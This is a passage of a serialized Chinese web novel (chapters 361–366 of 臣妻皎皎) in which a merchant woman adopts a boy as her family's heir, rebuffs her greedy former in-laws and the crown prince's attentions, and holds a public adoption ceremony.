这话难免不会让顾皎皎想到那夜的疯狂,不自觉的脸红了几分。 “民女近来也是忙碌,既然殿下无事,那民女便……” “你给顾府过继子嗣一事定下了?” 沈云祉突然打断了她的话,正了正身子,投过来的目光,也满是笑意。 顾皎皎抿了抿唇。 沈云祉对她的事了如指掌,她早就习以为常了。 “是啊,劳太子殿下费心了。” “可我听闻,并不顺利,那孩子对你很是讨厌呢。” 他言语间明显的带出了嘲笑的意思。 这次,顾皎皎毫不掩饰的瞪了他一眼。 “殿下也是真闲,国家大事不去处理,倒来管民女的家事。” “本殿下自是对你上心啊。” “无赖。” “无赖就无赖吧,但却可以解你麻烦,我可出面替你劝说那孩子,让你的收养更顺利一些。” 沈云祉神态慵懒,用最随意的语气说着极为郑重的话。 太子出面,自然是什么难题都会解决,只是顾皎皎却疑惑的看着他。 上一次见面,沈云祉可是因为她要收养继子之事大发雷霆,黑着一张脸离开她的屋子,现下却要帮忙? 顾皎皎打量了他许久,才缓缓开口。 “殿下是要耍什么诡计吗?” 她问的直接,让沈云祉不禁冷哼一声。 “莫要以恶看人,我想了,就算是有人要继承顾家,也不耽误你成为我的女子,不如帮帮你,至少让你开心一些。” “沈云祉,你这是说的什么话?什么叫你的女子?我,我跟你没有关系,我……” “好好,你说什么便是什么,先说那孩子的事,也许我可以以太子身份许诺他些什么。” 沈云祉将无赖发挥到了极致,让顾皎皎觉得自己重重的拳头都打在了棉花上。 “不用。” 顾皎皎从牙缝里挤出两个字。 “莫要说气话。” 沈云祉挑眉,眼中的笑意更浓,他喜欢看顾皎皎拿他一点办法都没有的模样。 顾皎皎长长的吁出一口气,稳了稳情绪,才郑重的看向沈云祉。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百六十一章 都是过去的事了 顾皎皎不需要沈云祉的帮忙,并非是赌气。 “我收养这个孩子,是指望他将来继承整个顾家的,我要他接受我,接受顾家的一切,也是心甘情愿的,无论是威逼还是利诱,都不作数。” 顾皎皎心中有数,所以她并不急于将那个孩子留在身边。 沈云祉微微点头,看的出来,也是赞同她的想法的。 “既如此,那我便不插手了。” 说着,他起身,拂了拂衣衫上并不存在的尘土,而后又似是突然想起般的说道。 “哦对了,听闻,安阳候府近来也在族中寻找适龄的孩子。” 丢下这句话,他便大步出了门。 门口处,双瑞将斗蓬披在他的肩膀,这一次,他没有回头,径直离开。 安阳候府。 自从上次孙协兆被打后,顾皎皎倒是少听到安阳候府的消息了,只知道因为那件事,孙协兆声名狼藉,很久没有出门了。 不过,说起来,顾皎皎也是真的佩服安阳候府的脸皮。 自然,顾皎皎也没有想到,第二天,安阳候府的人便上门了。 孙老夫人和孙协兆同时上门,除了刘氏和章氏还带着一个七八岁的小男孩儿。 这几日顾府本就人来人往,即使已经定下子嗣之事,还是会有人上门,所以此时,顾府门前也聚集了不少人。 平日里,都是顾皎皎想见谁放谁进去,或者是干脆一个人也不见,但今天,顾府大门打开,将这些人全部放了进去。 这其中自然包括孙家人。 “母亲,我们这般上门怕是不妥,这不明摆着将脸伸过去给顾皎皎打吗?” 孙协兆将声音压的很低,满脸的不情愿。 “她一个商女,又是个弃妇,我们是安阳候府,这身份天差地别,你别忘了,她当初嫁进我们家,不就是为了候府这个地位。” 孙老夫人一副恨铁不成钢的模样。 “三弟,母亲说的是,你也出去打听打听,那顾皎皎名下的产业可不只一间酒楼一个布庄,这可是一笔不小的产业,若是我们将人送进去,那日后不都是我们的。” 刘氏只说着便双眼放光,好像很快顾家的一切就是她的囊中之物了。 孙协兆倒是没有再说什么,很显然,他也期望着有飞黄腾达的那一天。 孙家人打了一手好算盘。 顾皎皎就坐在顾府的正厅,大门打开,她可以清晰的看到院子里的人。 她转头看一眼莺儿。 莺儿自是明白她的意思,微微点头后,站到门外。 “姑娘说,孙老太太年纪大了,先进去吧。” 莺儿站在门口处,虽只是传话,却高昂着头,一脸高傲。 她曾陪顾皎皎一同在候府生活了两年,这孙家人之前都不曾将顾皎皎放在眼中,更别提莺儿了。 可现在,他们孙家这一行人,却个个的都要看着莺儿的脸色,这种感觉,莺儿很是满意。 孙家人进了正厅,个个都在等着顾皎皎向他们行礼。 顾皎皎端坐在正坐,未起身,只是抬了抬手。 “各位请坐吧。” 她神色淡然,面对来人不喜不怒,似只是陌生人。 孙老夫人脸色阴沉,但到底也没有说什么,由她两个儿媳搀扶着坐了下来。 这期间,孙协兆时不时的看向顾皎皎。 也不知是许久未见,还是顾皎皎有了变化,孙协兆总觉得她似是比从前美了许多。 “本是顾府小事,不曾想孙老夫人竟然上门了,着实令人意外。” 顾皎皎算是客气的,维持着表面的平和。 “你一个女子操持着家业,属实不易,得到消息,想着曾经到底是一家人,便也过来帮帮你。” 孙老夫人还端着架子,摆着一副当家主母的谱,说出来的话也另人可笑。 顾皎皎确实笑了,抬起手用手帕轻捂了下嘴,丝毫也不掩饰这笑里的嘲讽。 “孙老夫人是在说笑吗?我顾府的事,何需你安阳候府来帮忙了?” “顾皎皎,你这是什么态度?母亲年岁已高,你好歹……” “孙公子的伤都好了吗?说起来也是我父亲当年眼拙,以为候府的人就算无能,终究是有些家教的,却不想孙三公子能做出那般不知廉耻之事,让人不忍耳闻。” 顾皎皎一句都没有让,无论是孙老夫人,还是孙协兆,她早就不放在眼里。 “你……” 孙协兆脸憋的通红,却一时无言辩驳。 “好了,都是过去的事了,皎皎啊,你也不要那么大的敌意,我们此次来确实是为了你的收养之事。” 孙老夫人和着稀泥,仅一句话便将过往一笔勾销。 此时,章氏在得到孙老夫人的眼神示意后,也上前一步。 “皎皎,这孩子是孙家族中最聪慧的孩子了,年纪虽小,却能文能武,诗书也会一些,这个年纪识得的字已然不少,你看看可还合你心意?” 章氏笑的温婉,若不是了解她的为人,别人怕也会觉得她是心地纯善,温柔贤良之人。 顾皎皎是看了一眼那个孩子,没有什么感觉,也不是说孩子不好,只是于她没有眼缘。 “几位的消息怕也是不太灵通,我早已定下收养之事,也有了人选,孙家这么好的苗子,还是自己留着吧。” 她端起桌上的茶,颇有到此为止的意思。 他们当然知道,不只他们,就连外面站着的那些人也都知道,可是顾家产业太诱人了,谁都想试一试。 孙家人脸皮厚,与其他人不同,他们不是来试一试的,而是抱着事成而来的。 “皎皎,我们倒也听说了一些,只说那孩子家里贫苦至极,虽是男孩儿却未曾上过一日私塾,这样的孩子,怕也是不知礼的,如何能成为顾府养子呢。” 章氏平静应对,很明显是提前就想好了说辞。 “是啊,顾皎皎,我们孙家的孩子,自是比那些乡野出来的强上百倍不止,有候府的名头,日后说出去也好听不是。” 刘氏提到了身份地位。 他们现如今能拿得出手的,好似也只有这候府了,可这本也是顾皎皎最瞧不上的。 屋子里陷入了安静。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百六十二章 自取其辱 孙家人以为顾皎皎被说动了。 “皎皎啊,我们曾是一家人,自家人嘛,知根知底的,我们自也是希望顾府越来越好,挑选的孩子,也绝不会差的。” 孙老夫人语重心长,眉眼间透出来的笑意,难得的显现出慈祥的模样。 顾皎皎终于还是忍不住笑出声。 “说实话,到现在为止,你们孙家人最让我佩服的地方,就是自以为是。” 她抬起眼帘,直视孙老夫人,看着那张苍老的脸上渐渐阴冷下来,她才继续说了下去。 “孙老夫人,我对你们孙家人确实是知根知底,靠媳妇的嫁妆过活,依靠着一个候府,一无所成,声名狼藉,这样的人家,任谁都会敬而远之吧。” “顾皎皎,你以为你是什么东西?你不过是我休弃之人,你有什么资格说这种话?” 孙协兆火冒三丈,自是因为被顾皎皎说中了痛处。 顾皎皎却不急不恼,转头看向他。 “孙三公子,是和离,若说弃,那也是本姑娘弃了你,毕竟我是不会将一个垃圾留在身边的。” “皎皎,你这话说的重了,你和三弟的事已经过去了,现下为顾府挑选子嗣才是重中之重……” “大夫人,你刚刚说了,我已经定下人选,容我再说一句,就算是没有定下,也不敢选你们孙家的人啊,将来若是再出一个孙协兆,那不是将我顾家害了吗?” 一抹狡黠的笑袭上顾皎皎的唇角,看着孙家人个个脸色难看,她很满意。 孙老夫人终于坐不住了,腾的一下起身。 “顾皎皎,你莫要欺人太甚,安阳候府乃是圣上亲赐,在这京城之中可谓是有头有脸的人物,你如此不知深浅,小心给自己惹来祸端。” 利诱不行,便改威逼了,孙老夫人这话,明显是你同意也得不同意,不同意也得同意。 可她忘记了,她面对的是顾皎皎,已然不是曾经的孙三夫人。 “我等着。” 顾皎皎微昂着头,好看的眼睛里突然袭上一抹狠戾。 孙老夫人还是不禁怔了怔,世道变了,这顾皎皎已然不是他们能吓唬得了的了。 “顾皎皎,你做事最好冷静一些,现下是以收养一事为重,不要将过去的事牵扯进来,这于你有什么好处?” 孙协兆说的理直气壮。 顾皎皎在心里还是暗骂了自己几句,她曾在候府两年,怎么没有发现这一家人不只不要脸,还很蠢呢? 换句话说,他们也太不择手段了些。 顾皎皎没有说话,却端了端茶碗。 “茶凉了。” 她低声说着。 莺儿站在她的身侧,立即冲侧面喊道。 “馨儿,给姑娘上茶。” 初听这个名字时,孙协兆愣了一下,觉得只是巧合,但紧接着一个长相甜美的姑娘便端着一碗茶走了过来。 那张脸,孙协兆此生都不会忘记。 “是你,是你这个贱人,你……你在这里,顾皎皎,她竟是你的人?” 孙协兆像疯了一样咆哮出声,这般大的声音也让外面的人聚集到门口。 顾皎皎就是要让外面的人看到。 “孙公子说什么胡话,什么是我的人?你说的是谁?” 顾皎皎装傻。 孙协兆抬手便指向馨儿,手指都在微微颤抖。 “一切都是你做的是不是,是你指使这个贱人污蔑我,对不对?” 有很长一段时间,孙协兆都分不清那天发生的事是梦还是现实,但在顾皎皎这里,他便确定,他一定被这个女人陷害的。 “你是说馨儿啊,说来也巧,我听说了她的经历,觉得她实在艰难,便让她来我身边做侍女,也算是给了她一份差事,毕竟发生了那样的事,她一个女孩子不好生活。” 顾皎皎丝毫不掩饰自己眼中的挑衅,这半真半假的话,也根本让人无从查证。 孙协兆自是不听这些,他发了疯一般的非要教训教训馨儿,甚至当着众人的面欲冲过来打人。 顾皎皎坐在位置上未动,莺儿未动,倒是馨儿抬了抬脚,孙协兆便飞出去老远。 “哎哟,顾皎皎你,你怎么容许你的侍女打人呢?我们可是安阳候府的人。” 章氏是个最会见缝插针的主儿,她惊呼着,又让人去扶孙协兆,还不忘将这个锅甩到顾皎皎身上。 “你瞎了?他不在顾府动手,能挨打吗?” 说话的是馨儿,这张稚嫩乖巧的脸下,是一张浸了毒的嘴,还有毫不留情的身手。 章氏瞪大眼睛,她自是不敢相信,一个侍女敢如此说话。 “这个孙公子啊,就是活该,自取其辱。” “是啊,当初为了娶郡主,不顾发妻,现如今还敢上门过继子嗣,谁不知他那点心思。” “这孙协兆啊,文不成武不京,一事无成,却还生出了许多花花肠子。” “人都说有其母必有其子,今日一见,果然如此。” 门外的议论声越来越大,伴随着嘲笑,让孙家人颜面尽失。 尤其是孙老夫人,她原想着以自己的身份来向顾皎皎施压,却不想将这张老脸直接丢在了这里。 孙家人是灰溜溜离开的,听门口的人说,出大门时,章氏与刘氏还责怪了孙协兆一番,说若不是他行事放荡,今日之事有成的希望,也不至于丢如此大的脸。 只听着这话,就足以让顾皎皎主仆三人笑的不停了。 “真是马不知脸长,奴婢还是第一次见孙家这般不知廉耻之人,姑娘,你在孙家两年,是怎么忍过来的?” 果然,馨儿一开口就往人痛处戳。 顾皎皎白了她一眼。 “你啊,以后尽量少说话,白瞎这张脸。” 此时,莺儿也从外面走了进来。 “姑娘,那些人都打发了,依照姑娘的吩咐,每人给了一份贴子,可去第一楼免费用膳,他们倒也还算满意。” 不满意也没有办法,顾皎皎明摆着告诉他们,子嗣之事已定,他们再上门也毫无意义,还不如得些好处。 “这些人今日都看到发生了什么,不管他们去不去第一楼,孙家人颜面尽失之事,都会传遍大街小巷。” 顾皎皎眼底闪过一抹狡黠,这才是她的目的。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百六十三章 因为你不够强大 安阳候府。 待孙协兆回来,徐青青才得知他们去做了什么。 “夫君莫不是还惦记着那顾皎皎,借子嗣一事与她接近,怕是我父王对你惩罚,你怀恨在心吧。” 徐青青坐在房中,手中在做着刺绣,只抬眼瞟了孙协兆一眼,言语间也透着嘲讽。 孙协兆自是听出徐青青生气了,立即快步过来,坐到她身侧。 “青青怎会这般想?说到那顾夜养子之事,也不过是为了顾皎皎的产业,我粗略算了一下,若是能将顾皎皎的产业收到手里,就算什么都不做,也够我们用三辈子的。” 徐青青冷哼一声,满脸不屑。 “夫君也太过夸口了些,她一介商女,怎可有那么多银钱?” “为夫什么时候骗过你?我所说的只是大概,怕还有许多是我们不知道的呢。” 孙协兆这话倒是让徐青青停下手中的动作,脸上的神色也缓和了许多。 “她竟这般厉害?” “是啊,唉,只可惜,此次事未成。” 孙协兆是觉得可惜,可更愤怒。 今日顾皎皎让他,让整个安阳候府都出尽了‘风头’,不知日后还有多少流言等着。 徐青青却在此时挑了挑眉毛。 “这个顾皎皎啊,就是欠收拾,我找机会去会会她。” 她双眼放光,眼中有阴狠一闪而过。 孙协兆自是劝她的,想着那顾皎皎已与从前不同,他们不是对手,可徐青青却不听,她是郡主,与安阳候府的人自是不同。 另一边。 顾皎皎又前往了那间小院。 那个男孩儿一直不接受她,那对夫妇也劝过,却没有什么效果。 顾皎皎想着,还是要多了解一些,与那孩子多聊聊,也许会有所改变。 马车行驶到巷子里,巷路狭窄,马车便慢了一些。 “姑娘,你看,那是不是那个孩子?” 馨儿探出脑袋,指了指前方。 不远处,有一群孩子在一起,小的不过五六岁,大的也的十岁左右。 他们将那个叫生子的男孩儿围在中间,似是说着什么。 “停车。” 顾皎皎干脆下车,朝那边走过去,越近,听的也越清楚。 “就凭你也想当顾家的继子?你也不撒泡尿照照你自己。” “你就是没爹没娘的野种,就是你把你爹娘克死的。” “你叔婶照顾你,现在你婶子都病了,你就是个灾星,像你这样祸害,就应该早点去死。” “那顾家可是要享荣华富贵的,你这贱命根本不配。” …… 都是一群孩子,但说出来的话却如此恶毒。 顾皎皎看着那个男孩儿,他站在人群中,一直是坚毅的神色,高昂着头,不与那些孩子争辩,却也不曾低头。 紧接着便有一些大一点的孩子,开始对生子动手。 生子也反抗过,但寡不敌众,很快就被那些孩子打倒了。 “馨儿,去。” 顾皎皎站在不远处,看着他们,眼底还是闪现出冰冷。 馨儿走了过去,将那群孩子赶走,有几个不服的,还被馨儿在他们的屁股上踢了两脚。 顾皎皎上前,将地上的孩子扶起,掸了掸他身上的尘土,抬眼时,便看到他的脸上留下一些伤痕。 顾皎皎拿着手帕,想擦拭一下他的伤口,但她刚举起的手就被那男孩儿甩手挡开。 “不用你管。” 说完,那男孩儿便欲跑开。 “我们谈谈,像大人一样,谈一谈。” 顾皎皎在身后开口,那男孩儿竟然停下了脚步。 顾皎皎浅笑,她就知道,她的眼光不会错。 这个男孩儿上了顾皎皎的马车。 马车里极暖,他又穿的单薄,只进来后,便立即觉得身子暖了。 顾皎皎还将一些糕点摆在车内。 “你知道他们为什么欺负你吗?” 她轻声开口,这一次只是将自己的帕子递过去,并未给他擦脸上的伤痕。 那男孩儿犹豫着还是将那帕子接下,擦了下脸。 “因为你。” 男孩儿冷声开口,看向顾皎皎的眼睛里也没有一丝感激之情。 自从顾皎皎对外公布要收养他为顾家后嗣,这周边的孩子便时不时对他凌辱打骂,他不想叔婶担心,所以从未跟大人说过。 今日也是巧合,正被顾皎皎撞上。 “你错了,你被欺负,不是因为我,而是因为你不够强大。” 顾皎皎坐在他的对面,淡然的脸上挂着淡淡的笑,语气却极为郑重。 “因为你不够强大,所以只要你有点好处,便会受到别人的嫉妒与伤害,也是因为你不够强大,你的叔叔婶婶才不能放心,他们甚至都没有自己的孩子。” 叔叔婶婶是那个男孩儿的底线,他猛然抬眼,死死的盯着顾皎皎,明显脸上有气。 他很少说话,但到底年幼,所以的心事都写在脸上。 “你不愿与我走,是因为你舍不得他们,可说句实话,你留下能帮他们做什么?拎拎水,打扫庭院,还是去山野间打猎?” “我会长大的,等我长大……” “等你长大也只是靠卖力气生活,你确定你能赡养你的叔叔婶婶吗?真的能让他们老有所依,安享晚年吗?” 其实这些话对一个孩子而言太过残忍了。 顾皎皎掀开马车的帘子,指了指不远处的那间小院。 “你看,你们的房子,是这周围最破的,想必用不三年五载,这房子便需要修缮重建,你能做些什么,可以让你们一家人有个遮风挡雨的地方?” 男孩儿顺着她指的地方看过去,而后缓缓的低下头。 他所有的动摇都写在脸上。 “我所说的只是现实的一方面,还有另一方面,是人心。” 顾皎皎等待着那男孩儿抬起头,迎向她的目光,她才说了下去。 “那些欺负你的孩子,他们也只是孩子,但你听到他们说的话,做的事,像是出自孩子之口吗?他们应该连这场收养意味着什么都不知道吧?” “你是说,他们是别人教的?” 男孩儿终于开口,清澈的眸子里满是疑惑。 “是,是大人教的,那些大人想要你这个位置,却不能做什么,便教自己的孩子来为难你,欺负你,日后,他们还会欺负你的叔叔婶婶。” 这些话,让那男孩儿思考了许久。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百六十四章 与你何干 顾皎皎也不催促他,只坐在一旁吃着点心,喝着茶水,安静的等着。 那男孩儿的脸色变了又变,小小年纪,却很是认真的想了顾皎皎的话。 良久,他才缓缓抬起头。 “我婶婶说过,我是男儿,不可为五斗米折腰,我若为你顾家的孩儿,那就是为银钱低头。” 他在内心做着挣扎,倒也诚心说出自己的顾虑和想法,这对顾皎皎来说是好事。 “你可还记得,你叔婶第一次带你来见我时,他们说了什么?” “婶婶说,希望可以让我有机会诗书。” “是啊,你叔婶从未想过让你有荣华富贵的生活,只是想让你日后可为君子,知书达理,你为何会在意银钱之事?” 顾皎皎停顿了一下,扬了扬嘴角,又说了下去。 “自然,顾家这产业是事实存在的,我也不兴穷养孩子那一套,将来你若是留在顾家,也自是生活好些的。” 顾皎皎还举了许多例子,例如男孩儿将来若是取得功名,也是给他叔婶争光,光耀门楣等等。 她是擅于走进人心里的,一番言论下来,那男孩儿便已然下定决心。 “我答应跟你走,但我有个条件。” 男孩儿仰起稚嫩的脸,倒似是一副很郑重的模样。 顾皎皎被逗笑。 “好,你说。” “你可以帮我婶婶治病吗?治病的花销算我借你的,待日后我赚了钱,会还给你。” 男孩儿心底存着善意,这也是他最放心不下的事。 “好,我答应你。” 顾皎皎还伸出了手指,那男孩儿很郑重的跟她拉钩。 翌日。 那对夫妇便将那个孩子亲自送到了顾府。 他们对那孩子依依不舍,叮嘱了许多事,最后又向顾皎皎一谢再谢。 顾皎皎当着那孩子的面,给了那对夫妇一些银两,但背地里,还将两个铺子给了那对夫妇。 “顾掌柜,这不可,我们只是想让孩子日后有好的生活,并不是……” “我知道,我也无意让你卖孩子,只是这孩子将来会姓顾,你们到底辛苦养育他八年,我给你们这些,是你们本该得的,日后若是想孩子,也可随时过来相见。” 顾皎皎说的坦诚。 这姓氏一改,便也意味着这孩子换了门庭,按照常理,原家是要划清界限的,而顾皎皎这番话明显让那二位愣住。 “姑娘虽是好心,但我们日后不会打扰,该有的规矩我们都懂,我们只希望孩子好好的。” 这是顾皎皎第一次听那男子说话,声音不大,还着一些局促,但却很是坚定。 顾皎皎笑了笑。 “日后的事,日后再说吧,这铺子你们收下,银钱也收下,我已命人请了一位郎中,明日便去给夫人看诊。” 她将一切都安排好,不留下任何遗憾和隐患,也是她一直以来的行事作风。 顾皎皎将东厢房收拾出来,给那个孩子住,一应侍从以及所用之物,皆都安排妥当。 很快,这个消息便传遍大街小巷。 身处安阳候府的徐青青,也终忍不了。 第二日。 顾皎皎在第一楼理那些账薄,下面的人就来报,说是安阳候府的三夫人来了,指名要见顾皎皎。 “这徐青青跟孙家人真是相配,几次上门,不知廉耻。” 莺儿瞪着眼睛,说话时都是气鼓鼓的。 顾皎皎却笑了笑,命人将徐青青请上来。 大抵是从前过的清贫,没有好的绫罗绸缎,也没有好的首饰头面,所以一朝得势后,徐青青每次出门都打扮的像只花蝴蝶一般。 她大摇大摆,高昂着头,扭动着纤细的腰肢进来时,一股浓重的香粉气息便袭满整个屋子。 莺儿忍不住打了几个喷嚏,看向徐青青的眼神也充满杀气。 “顾姐姐这日子过的也真是好,虽孤身一人,却也自在。” 徐青青进门后,便直接坐了下来。 顾皎皎并未起身,神色如从前一般淡然,看不出喜怒。 “我可当不起孙三夫人一声姐姐,不知夫人今日前来,可是有事?” 这还是徐青青第一次称顾皎皎‘姐姐’,听得顾皎皎直反胃。 徐青青却一副理所当然的模样。 “都过去好久了,想来姐姐也该放下了,我年岁小些,叫一声姐姐也未尝不可。” “孙三夫人,我乃家中独女,想来平王也不希望给你找位姐姐。” 在此事上,顾皎皎甚至不愿得过且过。 徐青青脸色微变,又马上恢复如常。 “顾姑娘说的也是,毕竟我的出身与你不同。” 徐青青挑了挑眉毛,知道顾皎皎不领她的情,她也不必过于迁就。 顾皎皎没有说话,只微低着头端起茶碗,不紧不慢的品着茶,丝毫不将徐青青的话放在心上,也不再问她为何来此。 屋子里一下安静了不少。 徐青青的得意也显得极为尴尬。 环顾四周,在未等到顾皎皎开口,她也只能说明来意。 “前两日听协兆哥说,顾府欲收养子嗣,孙家也送来过一个孩子,想来顾姑娘对我们还有怨,便未收下那孩子。” 徐青青提到子嗣之事,倒是让顾皎皎有些意外,毕竟自宣布了子嗣之事定下人,便未再有人上门,徐青青是第一个,怕也是唯一一个。 顾皎皎迎着她的目光,依旧未说什么。 “其实我倒觉得,我们的事都只是小事,但后嗣延续此乃大事,若是随意选了人,怕是对顾家的产业也没有好处。” “孙三夫人今日所言,与孙家人所说的相差无几,是何用意暂且不论,我还是想问一句,与你何干?” 顾皎皎红唇娇艳,用最平和的语气说着最冷漠的话。 看的出来,徐青青是强忍着,才没有发火。 “是,本与我是无关的,但着实觉得我们挑选的那个孩子极好,有了安阳候府为后盾,这孩子日后为顾府效力岂不是有更多助力?” 徐青青装出一副语重心长的模样,好似一直在为顾皎皎着想一样。 “虽然我们之间不和,但也并不影响日后有这样一个纽带,对你生意也是有好处的。” 这副嘴脸,加以时日,便是另一个孙老夫人。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百六十五章 我们走着瞧 “你错了,我们之间不是不和,而是有深仇大恨,容我猜一下,你今日上门怕也是为了我名下产业吧?” 顾皎皎直接点明徐青青的来意。 徐青青冷哼一声,自是不会承认。 “我乃平王之女,夫家又是安阳候府,我用得惦记你那点……” “若不是你嫁进安阳候府,他们都没米下锅了,有什么可炫耀的?至于平王,他认下你了吗?” 顾皎皎毫不留情的打断了徐青青的话,也丝毫不掩饰对徐青青的鄙夷。 徐青青的脸色瞬间难看了不少,她死死的盯着顾皎皎,再次开口时,已然没有了刚刚的温和。 “顾皎皎,就算候府败了,这身份也是你高攀不上的,而我是平王的女儿,且是唯一的女儿,这是永远改变不了的事实。” 她停顿了一下,脸上已然显现出不耐烦,又马上说道。 “罢了,你若是觉得候府地位不够,我可以让那孩子从平王府过继到你府上,平王府出来的孩子,就算是侍从,也够给你颜面了吧。” 她这副高高在上,理直气壮的样子,终究还是将顾皎皎逗笑了。 “平王府,安阳候府,我都看不上,你们这些人在我眼里,什么都不是。” 顾皎皎歪着头,眼中的笑意更浓。 “顾皎皎,你是不是得寸进尺?一个继子而已,你真当自己是活菩萨了?我今日亲自登门是给你脸面,可你却如此不知好歹。” 徐青青指着顾皎皎便愤怒开口,不过相比之前,她这骂人的话倒是文明了许多。 “你啊,空有个郡主的名头,母亲却是贱籍,至于那孙家人,有一个算一个都是不知廉耻之主,你今日装模作样的上门,不是给我脸面,而是想要衣食无忧。” 顾皎皎也起身,缓步走到徐青青面前,嘴角扬起,笑的更为娇艳。 “孙家人惯会坐吃山空的,听闻孙协兆的差事无望了,身为郡主的你,平王也再给地赏赐,你的那些嫁妆,还能撑多少时日?三年?五年?” 她的每一句话,都正中徐青青的痛处。 徐青青有很多钱,可这偌大的候府要支撑下去,每是的银钱也是如流水般花出去,何况,她的那些私产与顾皎皎的比起来,简直就是九牛一毛。 “协兆哥还年轻,他会用功诗书,日后自会是在朝堂崭露头角,可你,生生世世也只不过是一介商户之女。” 徐青青咬着牙,眼睛都已经红了,倒不是委屈,而是她现在的处境,都被顾皎皎猜中。 “那便提前恭贺孙三夫人了。” 顾皎皎鄙夷的瞟了她一眼,转身坐了回去。 “想来孙三夫人还要回去盯着你的夫君读书,我便不留你了,慢走。” 她话音落下,莺儿在她身后偷笑出声,招来了徐青青的白眼。 “我们走着瞧。” 徐青青终究还是被气走了。 顾皎皎脸上的笑也瞬间散去,被一抹烦躁所代替。 “姑娘莫要焦心,我吩咐下去,日后不让他们这些人进门,免得扰了姑娘心情。” 莺儿在一旁低声劝说道。 顾皎皎长长的吁了一口气。 “也不必,大抵是近来事多,孙家人又一再挑衅,才觉得烦躁了些,莺儿,去给我备些果子吧。” “是,我这便去。” 顾皎皎确实疲累,倒不是忙碌,而是心累。 第一楼的生意一如从前般红火,此时又涉及到顾皎皎收养子嗣,更是有不少人会谈论此事,更有甚者,会直接向顾皎皎发问。 “顾掌柜到底还年轻,要我说,不如招一个入赘郎婿,岂不更贴心?” 顾皎皎知道这人并无恶意,自也不会生气。 “公子说笑了,我不过一介商女,又有哪位郎婿愿意入这顾府的门?倒不如省心省力些。” 她半开着玩笑,也让周围的人笑作一团。 “姑娘说的也是正理,这天下的男子有几个不是贪图美色,贪恋富贵的,这个时候有人愿意,怕也是别有用心,不如自己带出来的孩子,品性人品皆熟知。” 这其中还是有些通透之人的。 其实,很多人不是不知道这个道理,但说到底只是自己没有机会罢了。 顾皎皎与这些人寒暄了一番后,才离开了第一楼,回到顾府。 马上就到年下了,有些事也早该安排起来。 晚膳过后,顾皎皎来到了那个男孩儿的房间。 他已然在这间屋子住过几日,却从不让侍女进来打扫房间,可这屋子却是一尘不染,光洁如新。 “见你晚膳用的不多,可还是不太习惯?” 顾皎皎缓缓坐下,抬起眼帘,语气也显得温和。 那男孩儿迎向她的目光,迟疑片刻后点了点头。 顾皎皎笑了笑。 “无妨,你刚到陌生的环境,生活习性与之前大不相同,你不习惯也是正常,慢慢来,不着急。” 她环顾了一下四周,又再次轻声开口。 “不如就先从让侍女帮你打扫房间开始吧?” 她在征求他的意见。 “不用,我不喜欢使唤他人,我自己的事可以自己做。” 那男孩儿倒是态度坚决。 他本就是穷苦人出身,身边从未有过侍女侍从,如今让他一下接受再改变,自然不是易事。 “我也不是教你做富家子弟,只是日后,你会有许多功课,你若不习惯他们来帮你处理这些琐事,必定会耽误功课,到时岂不是得不偿失?” 顾皎皎的话,总能让这个小男孩儿思索一番,而后又觉得她说的有道理。 “那我,试一试。” 顾皎皎站起身,轻轻拍了拍他瘦弱的肩膀。 “明日便带你祭祀祖先,入族谱,今日早些休息。” 她离开后,馨儿将一些糕点放到了这个男孩儿的桌上,而后离开。 看着那些糕点,那男孩儿若有所思,也许他听说的那些关于顾皎皎的话,都不是真的。 顾皎皎所有的情况都会一五一十的传到沈云祉的耳朵里。 双瑞绘声绘色的说着这些的时候,脸上都挂着得意,好似顾皎皎所有的顺利,都是他的功劳一般。 沈云祉却在此时下令,明日出宫。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百六十六章 居心不良 顾皎皎举办了一场盛大的认亲仪式,而那个男孩儿也正式成为顾家子嗣。 “顾昭,昭意为光明,希望,你觉得可好?” 顾皎皎低头问着身侧的男孩儿。 男孩儿点了点头,他对文字上不通,但觉得顾皎皎起的名字,应是极好的。 “那好,以后你就叫顾昭,是我的弟弟,也会是顾家未来的继承人。” 顾皎皎这话不似是跟顾昭说,而是在与在场的宾客所说。 众人掌声雷动,连连叫好,而顾昭的名字也正式进入顾家族谱。 “顾掌柜,恭喜啊。” “顾家虽原无男丁,但顾掌柜如男子能扛大任,如今顾家也有了继人,这都是顾掌柜的功劳。” “所谓巾帼不让须眉,说的便是顾掌柜啊。” …… 所有参加这个仪式的,自然都是会说这样的恭维话。 顾皎皎并不介意,她在京城之中向来低调,此次举办如此盛大的认亲仪式,一来是将顾昭介绍出去,二来,也是让顾绍见识一下这样的场面。 “太子殿下到。” 门外高昂的声音响起。 在场的所有人都无比意外,自觉的靠到一边,只有顾皎皎皱了皱眉头。 沈云祉步入人群中央。 他习惯性的穿一身月白色的锦衫,墨狐皮的斗蓬,更让他人显得高贵冷傲,那张好看的脸永远挂着让人琢磨不透的笑容。 他站定,不顾周围跪在地上行礼的人,而是将幽深的目光投向那个男孩儿。 他的目光带着打量,也带着一丝冷漠,让顾昭不禁挪动了下脚步。 顾皎皎注意到他的异样,伸手牵住了他的手,并将他向自己的身后拉了拉。 “不知太子殿下驾到,有失远迎,民女在此请罪。” 她护着这个男孩儿的样子,太过明显。 沈云祉从顾昭身上移开目光,看向顾皎皎。 “都平身吧,本宫与顾掌柜有些渊源,又恰巧听说今日之事,便来看看。” 他话音落下之时,摆了摆手。 身后有几名侍卫捧着托盘走了进来。 “太子殿下赏,玉如意一对,文房四宝一套,锦缎十匹,玉佩一对……” 双瑞后面还喊了一些什么,顾皎皎都没有记住,但她看到那些侍卫就当着众人的面将这些东西一一展示出来。 “说起来,也不过是商户的认亲仪式,太子殿下的礼也太重了些吧?” “没听说吗,太子殿下与顾掌柜原就相识。” “这可不只是相识,前不久京城之中闹得沸沸扬扬的闯平王府事件,你们难道没听说?” “你是说,他们二人……” …… 人群中已然响起了议论之声。 顾皎皎可以听到,沈云祉自然能听到,可他却只是冲她挑了挑眉毛,眼中的笑意更浓。 顾皎皎强压下心中的怒火,将顾昭向前拉了拉,而后微低下身,半跪在地。 “民女携幼弟,多谢太子殿下赏赐。” “起来吧。” 沈云祉一只手背在身后,似是完全不在意身后那些人在说些什么。 他是故意的,一定是。 顾皎皎这样想着。 “殿下,请楼上入座。” 